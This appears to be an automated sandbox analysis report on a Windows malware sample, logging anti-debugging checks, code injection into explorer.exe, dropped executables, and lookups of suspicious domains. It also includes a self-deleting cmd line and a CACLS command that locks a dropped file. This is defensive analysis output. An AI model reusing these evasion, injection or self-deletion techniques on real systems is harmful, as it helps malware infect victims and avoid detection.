Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\305.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\305.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\305.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\305.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\305.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\12F1.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	File opened: SICE

Source: C:\Users\user\Desktop\v72n86vFFq.exe

Code function: 0_2_00422570 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00422570

Source: C:\Users\user\Desktop\v72n86vFFq.exe

Code function: 0_2_004244B2 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

0_2_004244B2

Source: C:\Users\user\Desktop\v72n86vFFq.exe

Code function: 0_2_00433FF0 GetLastError,GetCalendarInfoA,GetPrivateProfileStringA,GetLastError,CopyFileExA,GetSystemWow64DirectoryA,GetSystemWindowsDirectoryA,GetCPInfoExW,CreateNamedPipeA,GetProcessHeap,HeapValidate,GetPrivateProfileIntA,GetPrivateProfileStringA,

0_2_00433FF0

Source: C:\Users\user\AppData\Local\Temp\12F1.exe

Code function: 9_2_00DF2823 rdtsc

9_2_00DF2823

Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\12F1.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\v72n86vFFq.exe

Code function: 4_1_004027ED LdrLoadDll,

4_1_004027ED

Source: C:\Users\user\AppData\Local\Temp\12F1.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 0_2_004342F0 lstrlenW,BackupWrite,_wscanf,__wremove,_puts,__putw,__wrename,_atexit,GetBinaryTypeW,SetCurrentDirectoryW,QueueUserWorkItem,GetBinaryTypeW,SetCurrentDirectoryW,LeaveCriticalSection,QueryDosDeviceA,TerminateJobObject,EnumDateFormatsExA,GlobalAddAtomW,CreateJobSet,WriteProfileStringW,GetFullPathNameA,VirtualAlloc,GetCompressedFileSizeW,WriteConsoleOutputAttribute,SetNamedPipeHandleState,lstrcpynW,GetFileAttributesA,FatalAppExitW,GetCurrentProcess,IsBadWritePtr,SetUnhandledExceptionFilter,QueueUserWorkItem,GetProcessHandleCount,QueueUserWorkItem,EnumResourceNamesW,DeleteTimerQueueTimer,SetFileApisToANSI,FindResourceA,AllocateUserPhysicalPages,GetBinaryTypeA,OpenMutexA,GetModuleFileNameW,CommConfigDialogA,HeapSize,_memset,CommConfigDialogA,HeapSize,GetComputerNameA,OpenMutexW,GetConsoleCursorInfo,OpenSemaphoreA,ResetWriteWatch,CreateActCtxA,LoadLibraryW,WriteProfileStringA,GetConsoleCursorInfo,OpenSemaphoreA,SetUnhandledExceptionFilter,ResetWriteWatch,ChangeTimerQueueTimer,SetFilePointer,SetCommState,EnumSystemLocalesA,_lclose,SetSystemTimeAdjustment,_memset,GetCommConfig,EnumDateFormatsW,LocalUnlock,WriteConsoleInputW,GetConsoleAliasExesLengthW,GetAtomNameA,IsBadStringPtrA,CreateIoCompletionPort,SearchPathA,SetConsoleCursorPosition,GetVolumePathNamesForVolumeNameW,SetConsoleCP,MoveFileExW,EnumDateFormatsExW,UnregisterWaitEx,SetSystemTime,SetThreadExecutionState,CreateHardLinkW,HeapWalk,lstrcpyA,SetFileValidData,OutputDebugStringA,FreeEnvironmentStringsW,FindNextFileA,FreeEnvironmentStringsW,FindFirstFileW,FindNextFileA,InterlockedDecrement,InterlockedDecrement,WaitNamedPipeW,WritePrivateProfileStringA,LoadLibraryW,DefineDosDeviceA,SetConsoleTitleW,GetPrivateProfileIntA,OutputDebugStringA,InterlockedPushEntrySList,CreateActCtxA,VirtualLock,lstrcatW,WriteProfileStringA,TerminateProcess,WritePrivateProfileSectionA,GlobalMemoryStatus,UnmapViewOfFile,_memset,GetDefaultCommConfigA,GetTempPathW,WriteFileGather,FindFirstFileW,ContinueDebugEvent,GetThreadSelectorEntry,FatalAppExitA,DeleteVolumeMountPointA,GetStringTypeA,CreateSemaphoreW,CreateSemaphoreW,SetLocalTime,EnumTimeFormatsA,FindResourceExA,GetPrivateProfileSectionNamesA,SetStdHandle,CloseHandle,CloseHandle,DeleteFileW,EnumDateFormatsA,CreateSemaphoreW,GetNumberFormatA,ReadConsoleOutputW,PeekConsoleInputW,BuildCommDCBW,UnregisterWaitEx,GlobalLock,GetVolumePathNamesForVolumeNameW,GetProcAddress,MoveFileExW,SetThreadContext,SetEvent,FindActCtxSectionStringW,_memset,SetDefaultCommConfigW,lstrcmpW,HeapSetInformation,GetConsoleMode,GetFileAttributesExW,GetPrivateProfileStructW,SetCriticalSectionSpinCount,GetPrivateProfileStructA,GetSystemTimeAdjustment,GetComputerNameA,GetPrivateProfileStringW,CloseHandle,ExitProcess,	0_2_004342F0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 0_2_00422570 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00422570
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 0_2_00419DF0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00419DF0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 0_2_004207D0 SetUnhandledExceptionFilter,	0_2_004207D0
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: 17_2_00413711 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_00413711
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: 17_2_0041651C SetUnhandledExceptionFilter,	17_2_0041651C
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: 17_2_00413531 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00413531

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-7000.com
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: host-file-host-3.com
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: hiftsuu.6.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\v72n86vFFq.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\hiftsuu	Memory written: C:\Users\user\AppData\Roaming\hiftsuu base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Memory written: C:\Users\user\AppData\Local\Temp\51B3.exe base: 400000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Roaming\hiftsuu

Code function: 8_2_004E0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

8_2_004E0110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\v72n86vFFq.exe	Thread created: C:\Windows\explorer.exe EIP: 4F41930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Thread created: unknown EIP: 5D81930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Thread created: unknown EIP: 4DA1930

.NET source code references suspicious native API functions

Show sources

Source: 1EAA.exe.6.dr, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 2340.exe.6.dr, u0086u0086u0086u0086u0086u0086u0086u008au0088u0086/u0086u0086u0086u0086u0086u0086u0086u008au0087u009e.cs	Reference to suspicious API methods: ('??????????', 'GetProcAddress@kernel32'), ('??????????', 'LoadLibrary@kernel32')
Source: 2340.exe.6.dr, u0086u0086u0086u0086u0086u0086u0086u0089u0092u008d/u0086u0086u0086u0086u0086u0086u0086u0089u0092u008c.cs	Reference to suspicious API methods: ('??????????', 'GetProcAddress@kernel32'), ('??????????', 'LoadLibrary@kernel32.dll')
Source: 9.2.12F1.exe.ce0000.0.unpack, l2vD8Fitdl8qSVEp19/mEqmoE9UxRmX9ogcto.cs	Reference to suspicious API methods: ('CXGWjLQ8Hp', 'LoadLibrary@kernel32'), ('REpW7ZaJOo', 'GetProcAddress@kernel32')
Source: 9.2.12F1.exe.ce0000.0.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 10.0.1EAA.exe.e80000.1.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 10.0.1EAA.exe.e80000.3.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 10.0.1EAA.exe.e80000.0.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 10.2.1EAA.exe.e80000.0.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 10.0.1EAA.exe.e80000.2.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 14.2.1EAA.exe.410000.0.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 14.0.1EAA.exe.410000.1.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')
Source: 14.0.1EAA.exe.410000.3.unpack, Oldening.Listeners/Server.cs	Reference to suspicious API methods: ('ExcludeInfo', 'LoadLibrary@kernel32.dll'), ('GetInfo', 'GetProcAddress@kernel32')

Source: C:\Users\user\Desktop\v72n86vFFq.exe	Process created: C:\Users\user\Desktop\v72n86vFFq.exe "C:\Users\user\Desktop\v72n86vFFq.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Process created: C:\Users\user\AppData\Roaming\hiftsuu C:\Users\user\AppData\Roaming\hiftsuu	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process created: C:\Users\user\AppData\Local\Temp\1EAA.exe C:\Users\user\AppData\Local\Temp\1EAA.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process created: C:\Users\user\AppData\Local\Temp\1EAA.exe C:\Users\user\AppData\Local\Temp\1EAA.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\44A2.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Process created: C:\Users\user\AppData\Local\Temp\51B3.exe C:\Users\user\AppData\Local\Temp\51B3.exe
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process created: C:\Users\user\AppData\Local\Temp\2340.exe C:\Users\user\AppData\Local\Temp\2340.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c echo Y\|CACLS "C:\Users\user\AppData\Local\Temp\6829558ede\tkools.exe" /P "user:N

Source: explorer.exe, 00000006.00000000.709418248.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.695565323.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.720888272.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000006.00000000.695740552.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.709702492.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.721124644.0000000001080000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.802553020.00000000033B0000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.800352217.00000000033B0000.00000002.00020000.sdmp, 305.exe, 00000016.00000002.976606115.0000000001980000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000006.00000000.695740552.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.712517045.0000000005E50000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.709702492.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.721124644.0000000001080000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.802553020.00000000033B0000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.800352217.00000000033B0000.00000002.00020000.sdmp, 305.exe, 00000016.00000002.976606115.0000000001980000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.695740552.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.709702492.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.721124644.0000000001080000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.802553020.00000000033B0000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.800352217.00000000033B0000.00000002.00020000.sdmp, 305.exe, 00000016.00000002.976606115.0000000001980000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000006.00000000.695740552.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.709702492.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.721124644.0000000001080000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.802553020.00000000033B0000.00000002.00020000.sdmp, 361B.exe, 0000000D.00000000.800352217.00000000033B0000.00000002.00020000.sdmp, 305.exe, 00000016.00000002.976606115.0000000001980000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000006.00000000.715379246.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.701280691.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.729575553.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\v72n86vFFq.exe

Code function: lstrlenW,BackupWrite,_wscanf,__wremove,_puts,__putw,__wrename,_atexit,GetBinaryTypeW,SetCurrentDirectoryW,QueueUserWorkItem,GetBinaryTypeW,SetCurrentDirectoryW,LeaveCriticalSection,QueryDosDeviceA,TerminateJobObject,EnumDateFormatsExA,GlobalAddAtomW,CreateJobSet,WriteProfileStringW,GetFullPathNameA,VirtualAlloc,GetCompressedFileSizeW,WriteConsoleOutputAttribute,SetNamedPipeHandleState,lstrcpynW,GetFileAttributesA,FatalAppExitW,GetCurrentProcess,IsBadWritePtr,SetUnhandledExceptionFilter,QueueUserWorkItem,GetProcessHandleCount,QueueUserWorkItem,EnumResourceNamesW,DeleteTimerQueueTimer,SetFileApisToANSI,FindResourceA,AllocateUserPhysicalPages,GetBinaryTypeA,OpenMutexA,GetModuleFileNameW,CommConfigDialogA,HeapSize,_memset,CommConfigDialogA,HeapSize,GetComputerNameA,OpenMutexW,GetConsoleCursorInfo,OpenSemaphoreA,ResetWriteWatch,CreateActCtxA,LoadLibraryW,WriteProfileStringA,GetConsoleCursorInfo,OpenSemaphoreA,SetUnhandledExceptionFilter,ResetWriteWatch,ChangeTimerQueueTimer,SetFilePointer,SetCommState,EnumSystemLocalesA,_lclose,SetSystemTimeAdjustment,_memset,GetCommConfig,EnumDateFormatsW,LocalUnlock,WriteConsoleInputW,GetConsoleAliasExesLengthW,GetAtomNameA,IsBadStringPtrA,CreateIoCompletionPort,SearchPathA,SetConsoleCursorPosition,GetVolumePathNamesForVolumeNameW,SetConsoleCP,MoveFileExW,EnumDateFormatsExW,UnregisterWaitEx,SetSystemTime,SetThreadExecutionState,CreateHardLinkW,HeapWalk,lstrcpyA,SetFileValidData,OutputDebugStringA,FreeEnvironmentStringsW,FindNextFileA,FreeEnvironmentStringsW,FindFirstFileW,FindNextFileA,InterlockedDecrement,InterlockedDecrement,WaitNamedPipeW,WritePrivateProfileStringA,LoadLibraryW,DefineDosDeviceA,SetConsoleTitleW,GetPrivateProfileIntA,OutputDebugStringA,InterlockedPushEntrySList,CreateActCtxA,VirtualLock,lstrcatW,WriteProfileStringA,TerminateProcess,WritePrivateProfileSectionA,GlobalMemoryStatus,UnmapViewOfFile,_memset,GetDefaultCommConfigA,GetTempPathW,WriteFileGather,FindFirstFileW,ContinueDebugEvent,GetThreadSelectorEntry,FatalAppExitA,DeleteVolumeMountPointA,GetStringTypeA,CreateSemaphoreW,CreateSemaphoreW,SetLocalTime,EnumTimeFormatsA,FindResourceExA,GetPrivateProfileSectionNamesA,SetStdHandle,CloseHandle,CloseHandle,DeleteFileW,EnumDateFormatsA,CreateSemaphoreW,GetNumberFormatA,ReadConsoleOutputW,PeekConsoleInputW,BuildCommDCBW,UnregisterWaitEx,GlobalLock,GetVolumePathNamesForVolumeNameW,GetProcAddress,MoveFileExW,SetThreadContext,SetEvent,FindActCtxSectionStringW,_memset,SetDefaultCommConfigW,lstrcmpW,HeapSetInformation,GetConsoleMode,GetFileAttributesExW,GetPrivateProfileStructW,SetCriticalSectionSpinCount,GetPrivateProfileStructA,GetSystemTimeAdjustment,GetComputerNameA,GetPrivateProfileStringW,CloseHandle,ExitProcess,

0_2_004342F0

Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\12F1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\12F1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\12F1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\12F1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\12F1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1EAA.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1EAA.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2340.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Entity.Design\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Entity.Design.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\12F1.exe

Code function: 9_2_00DE8386 cpuid

9_2_00DE8386

Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\305.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\305.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\305.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\v72n86vFFq.exe

0_2_004342F0

Source: C:\Users\user\Desktop\v72n86vFFq.exe

0_2_00433FF0

Source: C:\Users\user\Desktop\v72n86vFFq.exe

Code function: 0_2_00433EF0 VerLanguageNameW,CopyFileExA,SetConsoleMode,TlsSetValue,GetConsoleCP,GetPrivateProfileStringA,VerifyVersionInfoW,GetVersionExW,WTSGetActiveConsoleSessionId,ExitProcess,

0_2_00433EF0

Source: Amcache.hve.19.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
